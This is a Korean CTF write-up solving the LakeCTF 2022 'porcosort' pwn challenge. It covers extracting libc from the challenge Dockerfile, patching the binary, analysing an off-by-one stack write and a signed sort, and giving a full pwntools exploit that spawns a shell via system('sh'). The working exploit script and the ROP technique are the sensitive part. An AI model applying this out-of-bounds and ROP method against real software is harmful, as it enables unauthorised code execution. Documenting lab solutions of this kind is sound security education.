LakeCTF 2022 - porcosort (Dockerfile, libc, oob)

분석 환경: Windows 11, Ubuntu 22.04
사용자 제공 파일: 바이너리, 도커파일

tmi

libc 때문에.. 고생을 좀 했지만 결론적으로는 잘 해결했다.

맨 처음에 Ubuntu 20.04에서 분석 및 익스 진행하려고 했는데 실행이 잘 되지 않아 그냥 Ubuntu 22.04에서 진행했다. 버전을 올린 이유는 20.04에서 실행할 때 GLibc? 그 버전이 낮아서 실행이 안된다고 에러 문구가 떴기 때문에 당연하게도(?) 22.04로 버전을 올릴 생각을 하였기 때문이다. 하지만 결론적으로 Ubuntu 22.04의 libc도 아니었기 때문에(arch의 libc였음) 굳이 22.04로 버전을 안올리고 문제를 풀 수도 있었다.

ctf 챌린지에서 도커파일을 제공하는 이유는 libc 버전 때문이다. libc 파일을 던져준 것은 아니지만 libc를 거져준 것이나 다름없다. 알고있었지만 활용하는 방법을 제대로 알지 못했다. libc 때문에 삽질을 많이 해서 결국 롸업을 찾아보고 해당 부분을 바로 해결할 수 있었다.

https://blog.csotiriou.com/post/lakectf-2022-qualifier-porcosort-pwn/#1-setup

이번 기회로 도커파일을 눈여겨봐야겠다는 생각과 libc를 가져오고 patch하는 방법을 배웠다. 이제라도 알게 되어서 다행이다.

Analysis

로컬에서 문제 환경 세팅하기 (feat. 도커파일이 주어졌을 때 libc 가져오기)

Ubuntu 22.04에서 ldd 명령을 통해 바이너리에 매핑된 라이브러리를 알 수 있다. Ubuntu 20.04에서 진행했을 때는 버전에 맞는 libc가 없어서 실행조차 되지 않았는데, 여기선 그래도 실행은 된다. 하지만 아무리 실행이 되더라도 remote와 환경이 다를 수도 있기 때문에 제공된 도커파일을 꼭 확인해야 한다.

1
2
3
4
jir4vvit@22:~/ctf/lake/porcosort2$ ldd porcosort 
linux-vdso.so.1 (0x00007ffc8615e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f976d66e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f976d8ad000)

도커파일을 확인해보자.

1
2
FROM docker.io/library/archlinux@sha256:2bfe247c46221b0770325d69ec195b50455b2865588665e6926b2d1168982e67 AS builder
...

문제 환경이 Ubuntu가 아니라 arch linux임을 알 수 있다. 저기로 접속해서 libc를 가져와 바이너리를 patch하는 작업을 진행하자.

1
docker run -it --rm -v `pwd`:/data archlinux@sha256:2bfe247c46221b0770325d69ec195b50455b2865588665e6926b2d1168982e67 bash

도커를 실행하면 컨테이너에 접속할 수 있다.
다른 터미널 창을 열어서 컨테이너로 문제 바이너리를 넣어주고 ldd 명령어로 매핑된 라이브러리를 확인해보자.

1
docker cp /home/jir4vvit/ctf/lake/porcosort2/porcorsort ce9c17249f0e:/home/
1
2
3
4
[root@ce9c17249f0e home]# ldd porcosort
linux-vdso.so.1 (0x00007fff4e6ca000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f2f35895000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f2f35aae000)

다른 터미널에서 아래 두 명령어로 컨테이너 안의 ld와 libc 파일을 가져오자.

1
2
docker cp ce9c17249f0e:/usr/lib/libc.so.6 /home/jir4vvit/ctf/lake/porcosort2/
docker cp ce9c17249f0e:/usr/lib64/ld-linux-x86-64.so.2 /home/jir4vvit/ctf/lake/porcosort2/

그럼 이제 로컬에 ld와 libc가 저장이 되고, patchelf를 이용해서 바이너리를 패치할 수 있다.

1
2
3
4
5
6
jir4vvit@22:~/ctf/lake/porcosort2$ patchelf --set-rpath . --replace-needed libc.so.6 ./libc.so.6 porcosort
jir4vvit@22:~/ctf/lake/porcosort2$ patchelf --set-rpath . --set-interpreter ./ld-linux-x86-64.so.2 porcosort
jir4vvit@22:~/ctf/lake/porcosort2$ ldd porcosort
linux-vdso.so.1 (0x00007ffff7d92000)
./libc.so.6 (0x00007f3122b16000)
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f3122d2f000)

--set-interpreter <ld>: 다운받은 ld(로더)를 지정
--replace-needed <libc>: libc 교체

그럼 이제 문제 환경(remote)와 local이 똑같아졌다! 가젯 찾을 일 있으면 가져온 libc나 ld에서 가젯찾으면 된다.

보호 기법

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

전부 다 걸려있다. :(

취약점

우리의 친구 IDA와 함께 차근차근 분석하면서 취약점을 찾아보자.

vuln 함수

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall vuln(unsigned __int64 a1)
{
int i; // [rsp+1Ch] [rbp-1A4h]
__int64 stack_buf[48]; // [rsp+20h] [rbp-1A0h] BYREF
unsigned __int64 sort_cnt; // [rsp+1A0h] [rbp-20h] BYREF
unsigned __int64 canary; // [rsp+1A8h] [rbp-18h]

canary = __readfsqword(0x28u);
for ( i = 0; i <= 47; ++i )
stack_buf[i] = _bss_start;
__asm { rdrand rbx }
printf("Have a gift: %p\n", stack_buf[(_RBX ^ a1) % 0x30]);// _IO_2_1_stdout_
printf("How many numbers to sort? ");
__isoc99_scanf("%lld", &sort_cnt); // 48
if ( sort_cnt > 48 )
exit(1);
read_numbers(stack_buf, sort_cnt);
get_gnomed(stack_buf, sort_cnt); // 정렬하는 코드
// 여기 sort_cnt 값 조작 가능 (48보다 큰 수 넣기 가능)
// 정확히는 read_numbers에서 oob write 발생
return canary - __readfsqword(0x28u);
}

vuln 함수에서 _IO_2_1_stdout_을 출력해 준다. (gdb로 바로 찍어봤다.)
그리고 어떠한 수를 입력받고 그 입력값을 인자로 read_numbers 함수와 get_gnomed 함수를 호출한다.

read_numbers 함수

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall read_numbers(_QWORD *buf, __int64 cnt)
{
__int64 result; // rax
__int64 i; // [rsp+18h] [rbp-8h]

result = cnt;
for ( i = cnt; i > 0; --i ) // 뒤에서부터 채우기
// cnt ~ 1
{
printf("> ");
buf[i] = '*'; // *로 채우기
result = __isoc99_scanf("%lld", &buf[i]); // * 찍은 곳에 값 쓰기 가능
// (위에서 한 * 채우기는 그냥 초기화 작업)
}
return result;
}

두 번째 인자 cnt는 나의 입력 값이다. 결론적으로 스택에 내가 원하는 데이터를 넣을 수 있다.

이때 oob write가 가능하다. 인자로 넘어온 buf는 크기가 48이다. 이때 cnt가 48이라면 &buf[48]에 접근하여 쓰기가 가능하다.

1
&buf[48] ~ &buf[1]

oob write가 발생하지 않으려면(원래대로라면) 아래처럼 0부터 cnt-1까지만 접근해야겠지.

1
&buf[48-1] ~ &buf[0]

그럼 이제 우리가 oob를 통해 접근할 수 있는 &buf[48]에 저장된 값이 뭔지 궁금하다.

1
2
3
__int64 stack_buf[48]; // [rsp+20h] [rbp-1A0h] BYREF
unsigned __int64 sort_cnt; // [rsp+1A0h] [rbp-20h] BYREF
unsigned __int64 canary; // [rsp+1A8h] [rbp-18h]

buf 바로 밑에 cnt가 존재한다. 그렇다. &buf[48]에는 우리의 입력값인 cnt가 저장되어 있다. 이 말 즉슨.. read_numbers 함수가 끝나고 다음 호출될 get_gnomed 함수의 인자를 조작 가능하다는 의미이다.

get_gnomed 함수

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall get_gnomed(_QWORD *buf, __int64 cnt)
{
_QWORD *curr; // [rsp+18h] [rbp-8h]

curr = buf;
while ( curr < &buf[cnt] ) // 처음엔 stdout addr
{
if ( curr == buf || *curr >= *(curr - 1) ) // 음수로 크기 비교
{
++curr;
}
else
{
*curr ^= *(curr - 1);
*(curr - 1) ^= *curr;
*curr ^= *(curr - 1);
--curr;
}
}
return 0LL;
}

그냥 크기 순으로 정렬하는 코드이다. 대소비교에 마우스를 올려보면 *curr >= *(curr-1) 에서 signed로 비교를 하고 있는 것을 확인할 수 있다. 참고로 이 사실은 익스하는 데에 있어서 아주 중요하다..

스택에 원하는 값들을 적으면 결국 여기에서 다시 정렬하게 되는데, 크기 순으로 정렬이 되니까 값을 어떻게 넣을 지 생각을 잘해야 한다.

음 취약점을 설명하는 해당 부분에서는 살짝 맞지 않는 것 같지만 이어서 설명하는 것이 이해하기에 쉬운 것 같아 바로 스택을 보여주겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
0x7ffe3265c040:	0x00007f29d7a406c0	0x8000000000006873
0x7ffe3265c050: 0x8000000000006873 0x8000000000006873
0x7ffe3265c060: 0x8000000000006873 0x8000000000006873
0x7ffe3265c070: 0x8000000000006873 0x8000000000006873
...
0x7ffe3265c190: 0x8000000000006873 0x8000000000006873
0x7ffe3265c1a0: 0x8000000000006873 0x8000000000006873
0x7ffe3265c1b0: 0x00007f29d788ca40 0x00007f29d786a1d6
0x7ffe3265c1c0: 0x0000000000000039 0xa614ed753417eb00 // 0x7ffe3265c1c8: canary
0x7ffe3265c1d0: 0x0000000000000000 0xa3d3707cd6109c68
0x7ffe3265c1e0: 0x00007ffe3265c240 0x0000562e91ec649e // 해당 함수가 끝나고 0x0000562e91ec649e로 감
0x7ffe3265c1f0: 0x8000000000006873 0x8000000000006873
0x7ffe3265c200: 0x8000000000006873 0x0000000000000000

이 값들을 get_gnomed 함수를 거치면 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
0x7ffe3265c040:	0x8000000000006873	0x8000000000006873
0x7ffe3265c050: 0x8000000000006873 0x8000000000006873
0x7ffe3265c060: 0x8000000000006873 0x8000000000006873
0x7ffe3265c070: 0x8000000000006873 0x8000000000006873
...
0x7ffe3265c190: 0x8000000000006873 0x8000000000006873
0x7ffe3265c1a0: 0x8000000000006873 0x8000000000006873
0x7ffe3265c1b0: 0x8000000000006873 0x8000000000006873
0x7ffe3265c1c0: 0xa3d3707cd6109c68 0xa614ed753417eb00 // 0x7ffe3265c1c8: canary
0x7ffe3265c1d0: 0x0000000000000000 0x0000000000000039
0x7ffe3265c1e0: 0x0000562e91ec649e 0x00007f29d786a1d6 // 0x7ffe3265c1e8: ret address
0x7ffe3265c1f0: 0x00007f29d788ca40 0x00007f29d7a406c0 // 0x7ffe3265c1f0: system address
0x7ffe3265c200: 0x00007ffe3265c240 0x0000000000000000

현재 카나리는 0x7ffe3265c1c8 주소에 위치한다.

익스를 작성할 때 가장 까다로운 점은 카나리의 값이 랜덤이란 점이다. 이 위치가 바뀌면 당연하게도 *** stack smashing detected ***: terminated이 발생하는데, 카나리의 값은 랜덤이기 때문에 적당히 작은 수(음수?)이길 기대해야 한다. 이 때문에 익스 코드는 확률이 조금 있다.

그리고 0x8000000000006873가 보이는데 이는 -9223372036854749069 이다. 사실은 sh을 의도한 문자열이다. 왜 이렇게 줬을까?

1
2
3
4
5
► 0x56310fe0d428 <vuln+294>    call   get_gnomed                <get_gnomed>
rdi: 0x7ffe3265c040 —▸ 0x7f4d54ba36c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
rsi: 0x39
rdx: 0x39
rcx: 0x0

get_gnomed 함수를 호출할 떄 rdi의 값은 0x7ffe3265c040이다. 이 함수에서 rdi를 쓰지 않기 때문에 함수가 종료될 때도 rdi가 동일하다.

그렇단 뜻은 system 함수를 실행할 때 내가 원하는 매우 작은 값으로 rdi로 지정할 수 있단 뜻

Exploit

시나리오

  1. OOB write 트리거 위해 cnt 입력 시 48 입력
  2. _IO_2_1_stdout_ 출력해주는 것을 이용하여 libc base 구하기
  3. 정렬할 값들을 적을 때(스택에 값을 적을 때) cnt를 더 큰 수로 하기 위해 맨 처음 57 입력 <- OOB write 트리거 됨
  4. 스택에 페이로드 입력: ret 가젯 필요 (movaps xmmword ptr [rsp + 0x50], xmm0에서 멈추기 때문)
  5. 카나리의 위치가 제 위치에 온전히 있을 수 있도록 기도

여담이지만 ret 주소가 system 주소보다 작게 구해졌기 때문에 이거에 대한 크기 고민은 하지 않았다.

가젯 찾기

ret

1
2
3
jir4vvit@22:~/ctf/lake/porcosort2$ ROPgadget --binary libc.so.6 | grep " : ret"
0x00000000000291d6 : ret
...

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

#context.log_level = 'debug'

p = process('./porcosort')
#p = remote('chall.polygl0ts.ch', 3900)
e= ELF('./porcosort')
#libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('./ld-linux-x86-64.so.2')
libc = ELF('./libc.so.6')

sh = ''
sh += "sh\x00".ljust(7, '\x00') + '\x80'
p.send(sh * 3)

p.recvuntil('0x')
leak = int('0x' + p.recv(12), 16)
log.info('leak :: '+ hex(leak))

libc_base = leak - libc.symbols['_IO_2_1_stdout_']
log.info('libc base :: ' + hex(libc_base))

p.sendlineafter('sort? ', str(48)) # it caused an oob write

ret = libc_base + 0x291d6 #0x29cd6
system = libc_base + libc.symbols['system']

payload = [57, ret, system] # 57: sort count overwriting
print(payload)

for i in payload:
p.sendlineafter('> ', str(i))
for i in range(48 - len(payload)):
p.sendlineafter('> ', str(-9223372036854749069)) # input 0x8000000000006873

p.interactive()

Flag

1
2
3
4
5
6
7
8
9
10
11
[*] leak :: 0x7fb8ce4466c0
[*] libc base :: 0x7fb8ce247000
[57, 140431709372886, 140431709514304]
[*] Switching to interactive mode
$ id
uid=1000(jail) gid=1000(jail) groups=1000(jail)
$ ls
flag
run
$ cat flag
EPFL{https://www.youtube.com/watch?v=2HjspVV0jK4}